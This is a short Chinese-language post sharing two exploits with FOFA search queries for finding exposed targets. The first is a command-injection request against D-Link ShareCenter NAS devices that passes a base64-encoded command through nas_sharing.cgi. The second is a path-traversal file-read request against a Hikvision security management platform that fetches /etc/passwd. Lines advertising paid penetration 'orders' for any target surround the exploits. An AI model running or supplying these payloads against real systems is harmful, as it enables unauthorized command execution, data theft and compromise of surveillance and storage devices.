买卖小哥VS商家！高手对决

FOFA搜索 "Text:In order to access the ShareCenter, please make sure you are using a recent browser(IE 7+, Firefox 3+, Safari 4+, Chrome 3+, Opera 10+)"

GET /cgi-bin/nas_sharing.cgi?user=messagebus&passwd=&cmd=15&system=base64编码的命令 HTTP/1.1
Host:
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Acoo Browser; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506)
Accept-Encoding: identity
Accept: /
Connection: keep-alive
漏洞分享

只接靠谱的单！

渗透 有目标你就来！！只做安全检测！

海康威视综合安防管理平台 orgManage/v1/orgs/download 任意文件读取漏洞

orgManage/v1/orgs/download 接口处存在任意文件读取漏洞

FOFA:
title="综合安防管理平台"

漏洞复现:

GET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: /
Connection: keep-alive